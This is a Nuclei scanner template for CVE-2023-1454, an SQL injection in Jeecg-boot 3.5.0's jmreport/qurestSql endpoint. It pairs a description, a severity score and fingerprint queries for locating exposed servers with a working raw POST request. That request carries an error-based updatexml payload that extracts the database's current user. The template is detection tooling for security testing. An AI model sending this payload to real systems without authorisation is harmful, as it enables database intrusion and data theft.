id: CVE-2023-1454

info:
  name: Jeecg-boot 3.5.0 qurestSql - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A vulnerability classified as critical has been found in jeecg-boot 3.5.0. This affects an unknown part of the file jmreport/qurestSql. The manipulation of the argument apiSelectId leads to sql injection. It is possible to initiate the attack remotely.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade Jeecg-boot to a patched version or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/Sweelg/CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln/tree/master
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1454
    - https://vuldb.com/?ctiid.223299
    - https://vuldb.com/?id.223299
    - https://github.com/Awrrays/FrameVul
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1454
    cwe-id: CWE-89
    epss-score: 0.92698
    epss-percentile: 0.99764
    cpe: cpe:2.3:a:jeecg:jeecg-boot:3.5.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: jeecg
    product: jeecg-boot
    shodan-query: http.favicon.hash:1380908726
    fofa-query: icon_hash=1380908726
  tags: cve2023,cve,jeecg,sqli

http:
  - raw:
      - |
        POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQLException"
          - "XPATH syntax error:"
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - "XPATH syntax error: '([a-z_@%]+)'"
          - "XPATH syntax error: '([a-z- @%]+)'"
          - "XPATH syntax error: '([a-z@%0-9.]+)'"
        part: body
# digest: 4a0a0047304502207e2a5cf66f0406af5cbd16eabafdfec57c34e8d3f1557e4cf8815dca12dc48d5022100f3fd97b3609581e2b93f844db041f074673a5a74e4ac7de2598dbefba1916444:922c64590222798bb761d5b6d8e72950